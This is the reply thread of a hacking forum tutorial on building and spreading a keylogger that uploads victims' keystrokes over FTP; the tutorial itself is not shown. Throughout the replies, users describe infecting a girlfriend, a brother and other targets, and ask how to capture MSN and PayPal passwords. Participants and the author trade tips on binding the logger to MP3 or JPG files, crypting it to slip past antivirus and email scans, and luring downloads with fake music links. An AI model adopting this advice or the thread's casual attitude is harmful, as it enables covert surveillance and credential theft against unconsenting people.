hack4hack - September 25, 2009, 11:33 pm

Nice Keylogger keep up the good work

Vorfin - September 26, 2009, 5:28 am

(Sep 25, 2009 07:04 PM)kokoiv Wrote: [\[CITE\]](#) hey, first of all thanks for the great tut. it worked really really well :D

thanks and have a nice day?

As far as I know changing the time lower than 10 should work, if not there might be a minimum time, sorry I haven't really tested under 10 minutes.

jackbowle - September 26, 2009, 12:14 pm

then when the person downlaod the amazing new single what happend?

Vorfin - September 26, 2009, 12:30 pm

(Sep 26, 2009 12:14 PM)jackbowle Wrote: [\[CITE\]](#) then when the person downlaod the amazing new single what happend?

They get infected ?

dylo - September 26, 2009, 12:33 pm

Nice Job, This should help alot of people out.

paco2208 - September 26, 2009, 12:36 pm

thanks you very much

quick1337 - September 26, 2009, 1:31 pm

Thanks , gonna try it!

helldemon - September 26, 2009, 3:45 pm

FlashBack - September 26, 2009, 4:33 pm

Thank you, helps people like me understand more about the whole idea.

Much Love!

Vorfin - October 6, 2009, 9:57 am

Bump now that the hacking section is online!

mooffiee - October 6, 2009, 8:25 pm

The # & Mediafire links are dead :(can you please re-upload to Mediafire?

Mental_Boy15 - October 6, 2009, 10:05 pm

Im A Noob So Thank you for the heads up on what to

subz2009 - October 7, 2009, 1:39 pm

Very COOL! Tut bud just wha ti was looking for!

Drawkcab - October 8, 2009, 12:41 pm

Just a quick question, how would you go about removing the keylogger from the persons computer after it's been run?(not that I ran it on myself, I'm just trying to learn)

Vorfin - October 8, 2009, 1:25 pm

Some will have a remote removal tool, but not this one. You can just change our FTP password, you will stop getting logs, however the infection will still be there.

Protion - October 8, 2009, 10:20 pm

is it possible to get the logger to send the logs to your email address.

Vorfin - October 9, 2009, 8:34 am

Not with this one, it is a FTP keylogger, but others use Gmail logging, and a few even use PHP(The best and most secure)

Damion774 - October 10, 2009, 11:19 pm

Hey,

Why is it when I downloaded it, it says that its not a valid Win32 application ?

Thanks btw, your tutorials great.

~ Damion

InvisibleMan- - October 11, 2009, 11:19 am

Yeah I got that too, my AVG also went off as the "Download Now" prompt came up.

It's ok though, I have like 5 other keylogger builders that are UD.

Great tutorial!

MistuhSnufflez - October 11, 2009, 3:23 pm

okay so what exactly does the reconnect time mean?? does it mean like i only get the log from every ten minutes? bcuz wen i get a log it like changes like an update not all of it is there and i would like it all to show plz- and thanks a lot bro

alaaden - October 12, 2009, 11:50 am

do you have the vicspy 64 bit ?

derjude91 - October 12, 2009, 12:10 pm

nicee thread ! ;D ...

Zephyr_39 - October 16, 2009, 11:51 am

awesome tutorial man, this will be helpful

The Name's Bing - October 16, 2009, 11:55 am

Great "How To TuT" dude!

Very helpful ?

nule - October 20, 2009, 1:54 pm

why im i getting server error?

logswithmoss - October 20, 2009, 8:12 pm

Okay, so this tutorial is exactly what I wanted, thank you so much!

Very clear and basic.

Now, for the problems :P

On my HQ server, it replaces old logs with the more recent ones from the same user.

So if I log on, it would show me the logs of that user for the last 10 minutes only.

Am i doing something wrong?

In addition, some of the keylog codes are pretty clear ([<] for example is backspace)

What are all the other ones? ([c],[w],[r] etc.)

Thanks!

nule - October 22, 2009, 2:12 pm

(Oct 20, 2009 08:12 PM)logswithmoss Wrote: [\[CITE\]](#) Okay, so this tutorial is exactly what I wanted, thank you so much!

i was wondering the same thing

DeafHeavn - October 23, 2009, 3:43 pm

maybe I'm doing something wrong but when I try to open Keylogger.exe nothing happens. and when i try to open it through cmd it says "access denied"

help?

BL4CKCR4Y0NS - October 23, 2009, 4:28 pm

Alrighty. This answered a few of my questions about the crying ... =]

Thanks heaps. =D

\$weet - October 23, 2009, 4:41 pm

commenting !!!! , btw nice post

danedaworld - October 23, 2009, 4:59 pm

Nice job!!

Hey, what was this coded in? VB?

Bl4ckh4t - October 23, 2009, 5:17 pm

I don't understand the .exe file. Should that be a script?
I want a type of script that gain me total acces.

BI4ckh4t - October 24, 2009, 2:49 pm

Ok thanks it works for me,
only the information that I get is not usefull. I want MSN and PayPal passwords. How can I do this?

BI4ckh4t - October 24, 2009, 5:47 pm

Lol my first keylogger:
http://www.youtube.com/watch?v=_tgH49kDtoo

Crakk.Hed.Hampsta - October 24, 2009, 8:09 pm

[b][u]Nice tutorial, helped me alot?

I'm a major nub and this helped me out ?
I have this crypting file Fly Crypter but I'm new to this and can't figure out how to crypt, You should create a tutorial on how to crypt files.?

Geeko - October 24, 2009, 8:49 pm

Thanks for the Tut! Helped me a few weeks ago!

alb09876 - October 30, 2009, 8:31 am

OK, so I have access to a copy of VAQ 5.1 How effective is this one? There is one person in particular I am trying to hack and it needs to be PERFECT when I send it or my luck runs out. I'm almost to the point of just asking you to let me pay you 10 bucks or something and doing the legwork for me to see if they bite....

shd0kil3r - October 30, 2009, 11:30 am

r3a||y n1c3 7u7 m4n ;)

pogo367 - November 6, 2009, 10:55 am

i got everything working, and now it's time to test it out... only problem is when i attached to a hotmail email, it knows its a virus. i then .rar it, since in one of your previous posts u said if i want to send via hotmail that's what i needed to do. now even though i .rar it hotmail still says it contains a hidden virus. btw i used a free crypter called yoda's crypter before i .rar it.

any advice?

MooseHide - November 7, 2009, 12:26 am

Thanks a Lot Vorfin .

You rock

#GoonSquad - November 7, 2009, 1:34 am

Very nice TuT. Tried it and worked great.

stickmand123 - November 8, 2009, 7:03 am

Thanks a lot! really helped me :D

Jayy x - November 14, 2009, 9:05 am

Right click on server? Where, what part? I'm so confused...

Where do I right click so I can "sent to" and ".zip" then upload it to a file hosting website...?

Anubis - November 14, 2009, 10:01 am

nice tut for newbies.....

WellOkThen - November 14, 2009, 8:06 pm

I got a problem: Firstly it's all working fine. I tested it with my 2nd old computer but after few seconds or minutes, the log is going to be overwritten with weird symbols (see picture). Why? How I can fix it?

<http://img697.imageshack.us/img697/4113/wot.png>

GreekMan - November 14, 2009, 8:40 pm

Does keylogging require port forwarding?

Uzzzzi - November 14, 2009, 10:27 pm

Pretty cool tutorial but for some reason when i open it it says it doesn't work? But i listened to everything you said.(ill try going at it)

duane - November 15, 2009, 1:39 am

Nice tutorial

joewalker7th - November 15, 2009, 2:33 am

Good work. Thanks for the tutorial

WellOkThen - November 16, 2009, 12:48 am

So again thanks, awesome and friendly guide. I'll send the Keylogger to a girl, which don't have any anti vir installed :D

Volcany - November 16, 2009, 9:44 am

I tried this out and it was awesome :D

xpgEEK - December 9, 2009, 5:01 am

hey i'm really new to this and a noob i was wondering how can u remove a keylogger if you install it in your computer and would drive hq track you down caz of the logs and stuff thanks 4 ur time and sorry 4 bothering u guys

---DMD--- - December 9, 2009, 5:53 am

Nice tutorial man, thanks for sharing.

Bryce Bryce - December 13, 2009, 7:40 pm

very nice guide. really in detail. but what is the time intervals that it sends to your driveHQ account? because after about an hour all that has come up is "TEST2 - Ok"

illus1onz - December 13, 2009, 7:58 pm

thank you for this tut mang .

Omfgdowned - December 14, 2009, 1:15 pm

how long does it take til it puts files in the logs

immortal8 - December 14, 2009, 3:22 pm

this is a really great guide helped me a lot and i learnt loads thanks a lot my friend i was actuley successful in hacking now :D

Xaniar - December 26, 2009, 1:51 am

Awesome tutorial

Too

Short

Kenny20 - December 26, 2009, 3:53 am

Thanks for a great tut

XvXRageXvX - December 31, 2009, 12:13 pm

thanks a lot :) can you please tell me how long it takes for the logger to send to the drivehq. cuz its been like 30 mins and i dont know if its not working or if it takes longer. thanks

MySocksAreWet - December 31, 2009, 12:39 pm

Nice; I could never figure out how too spread one, untill now!!!

stingfish - December 31, 2009, 2:27 pm

please help me understand...

what is the purpose of binding the keylogger? ive binded it to mp3's, and other extensions but... in testing i click the mp3, or jpg or anything ive binded the logger to and its not running the logger.exe.

maybe my expectation is off.... im expecting to just click the jpg and the logger to run at the same

time. is my expectation off?

dingdong78 - December 31, 2009, 2:34 pm

(Dec 31, 2009 03:27 PM)stingfish Wrote: [\[CITE\]](#) please help me understand...

maybe my expectation is off.... im expecting to just click the jpg and the logger to run at the same time. is my expectation off?

Im not sure that can happen. I tried that once and the jpg opened but not the exe file. I tried the other way around, the exe opened but not the jpg.

ICE CUBE - January 1, 2010, 4:36 pm

Thanks for the tut man?, i've done everything u wrote so now im just waiting for logs, i suppose they will be in a text folder in the "logs" folder that i created right?

ICE CUBE - January 2, 2010, 8:37 am

I done it step-by-step.. no logs yet, i didnt crypt it so maybe thats the reason

Sage - January 2, 2010, 8:38 am

awesome guide. very detailed :)

Likeyz - January 3, 2010, 9:06 am

Very nice Guide but i got a question.

I configured everything like you said but when i open the .txt file i got only this signs with very low text :X

??t
his just t[<]the test >(>(

Do you know why i get this error? Is it error ? ^^

Unholy Faith - January 3, 2010, 9:30 am

For some reason when i try to run it. It does nothing.. Any suggestions?

The Sharable Prince - January 3, 2010, 11:24 am

thank you very much i really needed that

EpicBoyy - January 3, 2010, 1:22 pm

Thanks man, I will try this when I'm back home ;)

EpicBoyy - January 4, 2010, 1:25 pm

Uhm, when I try to run the .exe, I can't open it..

It says: Can't initialise the process right (0xc0000135). Click ok to end the process.

(Or something, I kinda translated it outta Dutch, didn't work well lol,) So help please?

TheOnly - January 4, 2010, 3:24 pm

Nice guide will help out a lot in the beggining very detailed aswell.

Fated - January 4, 2010, 4:21 pm

Thank you very much! Works perfectly!

dantastic - January 5, 2010, 1:07 pm

I keep on getting a "Status: Server ERROR" when I do the

ftp://Username:AND your password@ftp.drivehq.com/logs/

I have entered my correct driveHQ AND Password and everytime I press check, it doesn't work.
HELP!

Likeyz - January 5, 2010, 6:07 pm

(Jan 3, 2010 10:06 AM)Likeyz Wrote: [\[CITE\]](#) Very nice Guide but i got a question.

No one can answer? =(

if i make 10 min update i see big list of this signs and only some words which the vic wrote at last.

SmOKeR-HackeR - January 6, 2010, 3:36 am

Hey Vorifn can you Crypt this file for me i made it and now i want that the file is Perfect made here
the link to download it and tell me if it has Viruses because i dont use antivirus lol

<http://www.mediafire.com/?tzbzzuzgujr> I must say you are the best thx for evrything men the best
you and all of HF i mean

Bad Meets Evil - January 8, 2010, 9:51 pm

I'm going to try it out, I already have Spy-Net but I believe in variety.

Cluless - January 9, 2010, 3:52 am

Could someone upload the keylogger to another file hosting site preferably HF or RS

siva7891 - January 10, 2010, 6:31 pm

????

Nice work man... Keep it up

Bad Meets Evil - January 14, 2010, 9:31 am

works great for me.... just one question. Can I just have it saved as one file or can I make more than
one file that is a keylogger?

disturbedguy92 - January 26, 2010, 1:53 am

hey great program man works good but see the thing is i tested it on my pc before sendin it out can
u tell me how to turn it off?

lorens13 - January 26, 2010, 2:01 am

The keylogger that you used in the tutorial is the keylogger that I am looking for,great tutorial and
thanks for sharing it^^

kite420 - January 29, 2010, 5:02 pm

hey, i did find this tut helpful, but i am having some trouble with it.

on the vicspy keylogger 2008, when i put the server how you say to with my drive hq account
information it is all correct but when i check it, it says connect error.

is there somewhere else besides drive hq i can use?
thanks for the help

Cr.s - January 29, 2010, 7:27 pm

Great post! I will make sure to let you know how well this have worked for me!

freeholdboro - February 10, 2010, 4:44 pm

im being completly honest idk if i did it right but i did it with a jpg file instead

<http://www.mediafire.com/?eddoimwroyz>

idk if i did it right this is the link idk if its just a regular image or the keylogger

addictions - February 12, 2010, 10:49 am

The O-N-L-Y guide that actually helped me.

Thank you very much, you deserve to be honoured.

+rep.

LUr3TryN3 - February 13, 2010, 4:20 am

Worked very well. Nice tutorial.

d1m3 - February 13, 2010, 5:35 am

can you hack msn with this keylogger ??

chance99 - February 13, 2010, 6:02 am

excellent thread, however i get lost here:

Quote:Your second option is to just spread it as it is.

Firstly right click your server and click "send to" then ".zip"
what do you mean right click your server ?

At the minute I have the online server with the folders in ? the keylogger open adn the mp3 file ?

chance99 - February 13, 2010, 6:20 am

so when you say right click the server you mean the file you just created with the key logger ? :)

why does the file disapear when you click it ? isnt that going to make people sus right away ?

And so far AVG and Avast picks it up right away , is there a way I can get it through such anti virus programmes?

rockfan714 - February 13, 2010, 8:58 pm

what is keylogging? whats it for?

Mike Ross - February 13, 2010, 9:13 pm

Nice guide, keep up the good work.

Hvittapet - February 21, 2010, 9:30 am

Really good guide, just sent my brother a keylogger, but when is the stuff going to be sent on DriveHQ ? :S ty for help!

crazy_shane - February 22, 2010, 5:06 am

Ok tells me that theres a virus are you keyloggin me

Xenochrist - February 22, 2010, 7:32 am

(Feb 22, 2010 06:06 AM)crazy_shane Wrote: [\[CITE\]](#) Ok tells me that theres a virus are you keyloggin meRead original post then come back.

Great tut, will be trying this later on.

PH30NIX - February 22, 2010, 8:13 am

^^ nice tut man => 2shorT i think

Joey K - February 22, 2010, 4:05 pm

Very nice guide man.

Keep it up.

akshay44 - February 22, 2010, 4:23 pm

Wow thank you! But the keylogger u gave us, u sure its not a keylogger form u?

alfansor - February 22, 2010, 5:21 pm

Nice job mate :) I learned a lot from this

peek - February 23, 2010, 3:16 pm

I used this a long time ago and I want to use it again. So, I did everything and when I open it to test it nothing happens. I open it and look at task manger and see if the keylogger is running. It pop up in task manger then goes away really fast. What did I do wrong?

:EDIT: Is it suppose to do that because I just got a log from what I was typing before.

Oprah Winfrey - February 27, 2010, 8:56 pm

I built my keylogger, and named it system11 ..

I ran it to test, and it worked! Now how the hell do I get it off of my computer, lol!

Oprah Winfrey - February 28, 2010, 7:53 am

I need help!

I made my logger w/ the builder, and I already have 2 victims.

I think I have my keylogger set to every 5 mins, but after 5 mins, it erases the rest of the log, and only shows 1 5 minute time period!?!

marklundarn - March 5, 2010, 8:43 am

great job , very noob friendly.

Etren - March 14, 2010, 12:02 pm

i recommend Xinfiltate's FUD crypter.

he's got great customer service, plus its worked out pretty well for me.

its also like the number one selling crypter i think

<https://hackforums.net/showthread.php?tid=210030>

MystikMyndz - March 14, 2010, 6:09 pm

Alright, I have a quick problem/question

I see alot of people have issues with this, first off I want to ask how long untill it sends the logs to DriveHQ? Then after that, why does it only show a little bit of their activity? It doesnt show everything.

Last question, how would you remove it after being infected?

NightCracker - April 22, 2010, 12:46 pm

nice nice nice thank youu :)

dawn021788 - April 26, 2010, 12:26 am

pls..send me another link to download ur keylogger coz when i click the site it says.. The requested file is not found. Pls.. really need it coz ds s d only one i understand.tnx in advance...

talalony - April 28, 2010, 5:45 am

all the mirrors are broken

jaffree - April 28, 2010, 1:25 pm

Thanks for the great guide.

But the keylogger.exe file doesn't seem to be available at any of the links you mentioned in the entire post.

Kindly upload it at a new location and let us have the link.

THanks.

smooth_ - April 28, 2010, 5:42 pm

Very nice tut, i dont like the keylogger your using though

Gh0st09 - April 28, 2010, 6:19 pm

If at all possible, can someone PM me a link to a mirror?

All the links are broken. =(

thunderman - April 28, 2010, 6:24 pm

why upload it to Youtube? (Im tired i cant think right xD)

Ohh are u sayin upload to to youtube than put a Link that says "Downlaod the music video now!" Or something like that?

And one other thing.

Is it possible, for when they open the server.exe to get infected it can also open something else so they dont go "Nothing opend its a fucking virus"

Like, you send them it, they open the .exe to get infected, than a program opens so they don't automaticly think its a virus/keylogger

pepino96 - April 29, 2010, 12:48 am

wouldn't YouTube have some sort of anti-virus that will pick up that this file has a more sinister

purpose?

Hackoff - May 2, 2010, 5:32 pm

good tut dude i'm no noob but i just like to read about it

iVintage - May 2, 2010, 6:01 pm

Can you fix the mirrors please?

h11mb0b - June 26, 2010, 1:45 pm

Thanks so much for this TuT.

Could you tell me how to give you good rep?

vikhyat1996 - June 26, 2010, 2:02 pm

thnx man..

Awesome.. Work,will try it Soon

h11mb0b - June 26, 2010, 2:22 pm

The link doesnt work!! The file isnt there!!

Humanoid - June 26, 2010, 3:19 pm

Tutorial is great, and the keylogger looks really nice! ?

Owned - June 26, 2010, 3:26 pm

This will help new people alot,

Good guide here!

noid - September 17, 2010, 1:00 am

very nice tut i will be sure to use <3

epsilon2 - September 17, 2010, 4:43 pm

Nice thread. thanks very much man.

Zackdaniels09 - October 14, 2010, 3:41 pm

hey man fix the links! i need to use this!!!

Rubmybellynow - January 1, 2011, 7:39 pm

THANK YOU SOO VERY MUCH [:

uglykidjoes - January 9, 2011, 4:05 am

New links plz its gone offline

hydrogenated - January 9, 2011, 6:33 am

This seems like a quality bit of tutorial. Keep it up!

mrkez - February 4, 2011, 10:13 am

Good job, this tutorial helped me a lot

MyNameIsNe0 - February 4, 2011, 10:44 am

Thanks for this tutorial! Much appreciated.

xxchrisxx owns - February 28, 2011, 11:29 am

thank you this helped me alot .

tunaspirit - February 28, 2011, 12:13 pm

seems good
but links are broken

DutchProduce - March 27, 2011, 6:16 am

Looks good i will give it a try thanks for the info

timbaland2010 - April 24, 2011, 2:32 pm

Link dont work! Put a new link plzzz

Flying Spaghetti Monster - April 24, 2011, 5:05 pm

all links are down, but anyway thanks for the tutorial. I guess it's a lot easier then I thought.

durhal - April 25, 2011, 3:27 am

Thanks for the tut, it's extremely helpful ?

?r1PPJ? - April 25, 2011, 4:12 am

great job but the links are broken now. :D

Banca - May 7, 2011, 6:54 am

?Thnx for the tutorial man.can?

Peoplespend2muchtimehere - May 7, 2011, 8:03 am

Going to try it straight away...

wiNNNd.dLL - May 7, 2011, 10:10 am

Download link don`t work..post again please

RussianFederation - May 7, 2011, 11:25 am

Great tutorial. Thanks bro ;)

Glow - May 7, 2011, 12:04 pm

very nice :) thank you, it really helped me :)!

Blupviskip - May 7, 2011, 1:26 pm

Great guide, many thanks :)

jompa101 - May 7, 2011, 2:45 pm

Dude... im having the biggest bonner right now....x)

jompa101 - May 7, 2011, 2:45 pm

Dude... im having the biggest bonner right now....x)

Unknown Cyc - May 7, 2011, 2:52 pm

Yeah i can help you guys out just Pm your questions

brandz - June 18, 2011, 2:15 pm

great tut mate, could u pls upload another download?? links are broken now mate.

Deathvoice23 - June 18, 2011, 3:16 pm

No link is working! Can you re-upload the Keylogger builder?

ziro360 - June 18, 2011, 3:22 pm

Very nice.. thx for sharing

drewdaniels - June 18, 2011, 9:50 pm

thank you so much. you dont know how helpful this is

pranay - July 23, 2011, 9:20 pm

Awesome article bro..

And i found another site, stumbled it...absolute basic tricks of hacking....really cool

<http://hackmephreak.wordpress.com/>

MinecraftTools - July 23, 2011, 10:09 pm

good one mate helpful with the slaves and all

Tipsy - July 24, 2011, 3:32 am

Thanks for the share bro.

GezzyMezzy - July 24, 2011, 3:34 am

Thanks for the help mate.

morpheous_11 - July 24, 2011, 2:00 pm

Can you please upload the Keylogger builders again, those links are broken

joshuano - July 24, 2011, 2:14 pm

Thanks for this, was really helpful.

Hydrocodone - July 24, 2011, 2:20 pm

Nice tutorial it is glad to see HQ posts

EternalTheWarrior - July 24, 2011, 6:37 pm

it says file not found on all the mirrors :(

AceofSpades138 - July 24, 2011, 10:20 pm

VicSpy2008: <http://www.##/file/pQehsD6>

Video Proof: <http://www.youtube.com/watch?v=mt2FPi5qlb8>

Plus yes my 2nd post.

You'd be surprised by the vast amount of idiots who download random shit without even having AV. People these days. You can steal passwords by just making something like password.data@gmail.com and they will actually buy it. -.-

??s?? - July 27, 2011, 7:37 pm

Nice guide man, even though I'm past keylogging, I'm sure this would help a lot of new people get started.

sahariar - July 27, 2011, 8:01 pm

need FUD logger..after all thanks

kittymew1 - August 11, 2011, 12:09 pm

very comprehensive guide; alas, all the links are down. Please re-upload.

Kaspersky - August 11, 2011, 12:35 pm

Nice guide, will try this when I find a new game and want to hack someone.. :)

WhizKnifa - August 11, 2011, 1:51 pm

can you do a tutorial for ubuntu linux please? i cant afford to use windows. (i spent all my money to build my current computer)

[Prototype] - August 16, 2011, 5:58 pm

very useful with some really nice info thank you very much

nikhilc5 - September 12, 2011, 12:17 am

this looks good... let me give it a try...

BLonging - September 24, 2011, 8:28 pm

A great basics post about keyloggers. Great job.

Simegu - November 14, 2011, 7:11 am

thanks alot for this tutorial :D rly like it and its well written and easy to understand ^^

guitargod546 - March 15, 2012, 9:05 pm

wow great guide thanks for ur help :)

Oneday - June 30, 2012, 6:59 am

Interesting tool.. I should try this out.:)

PTM Stealth - June 30, 2012, 7:23 am

The link to download and mirrors are either not found or deleted....

JustinRiley - November 25, 2012, 2:32 pm

this is a great guide it helped out alot thankyou

rahoor - November 11, 2013, 8:43 am

hey good tutorial friend..it worked 4 me

ElSyCo - November 11, 2013, 8:46 am

This looks good, favourited for later use

rara1212 - November 11, 2013, 8:47 am

Nice toll Vorfin thx for share.Keep. go in whit new share

SIM-830315 - November 11, 2013, 11:07 am

nice tutorial man ! +1 for this topic

madmancade101 - November 11, 2013, 11:51 am

awesome dude if it works I'll defo vouch ;)

Manas_akr - November 14, 2013, 3:53 am

Nice tut man But the combine Doesn't work properly
Help Needed!!

jonanga - November 20, 2013, 1:42 pm

Hey im new to this..whats a good keylogger that i can use on my own macine?

steve3aus - November 20, 2013, 4:06 pm

Looks good, will try later, is the download links working?

Wrong Memory - November 20, 2013, 5:47 pm

Nice TuT. Will help a lot of nooobs.

ghostkill112 - November 20, 2013, 6:11 pm

Awesome thread and thanks for recommending.
I'll add you some rep if I haven't already.

Zombie? - November 20, 2013, 6:18 pm

Now if I were to try this with a Minecraft Texture pack , do you know if this would still work?

starscream1988 - November 22, 2013, 11:32 am

Thank you for that awesome guide. But I need a good crypter :D

Jamescanhack - January 22, 2014, 3:50 pm

thank you now I can start keylogging

GameFreak - January 23, 2014, 6:26 pm

None of the download links work :I Can you send one?

Semen - January 23, 2014, 6:43 pm

(Mar 15, 2012 09:05 PM)guitargod546 Wrote: [\[CITE\]](#) wow great guide thanks for ur help :)
The download links don't work because this guy grave-digged an almost 6 month old thread.

farokh - November 2, 2014, 4:40 pm

Awesome thread and thanks for recommending.
I'll add you some rep if I haven't already.

skyn3t - November 2, 2014, 5:38 pm

A bit crude but then again it's for beginners. Thanks for the read.

CobraEffect - May 30, 2015, 9:25 am

Nice tutorial old but gold +

blu3 - May 30, 2015, 9:54 am

(May 30, 2015 09:25 AM)CobraEffect Wrote: [\[CITE\]](#) Nice tutorial old but gold +
This is a thread from 2009, please stop gravedigging.

KingVortex - June 1, 2015, 10:37 pm

Hello,

The keylogger is deleted from that sites, please can you give me that keylogger builder?

My mail jasonsilva289@yahoo.de

unrealirc - June 8, 2016, 4:14 am

Thanx for tut buddy!!!

I'll definitely try all this!!!
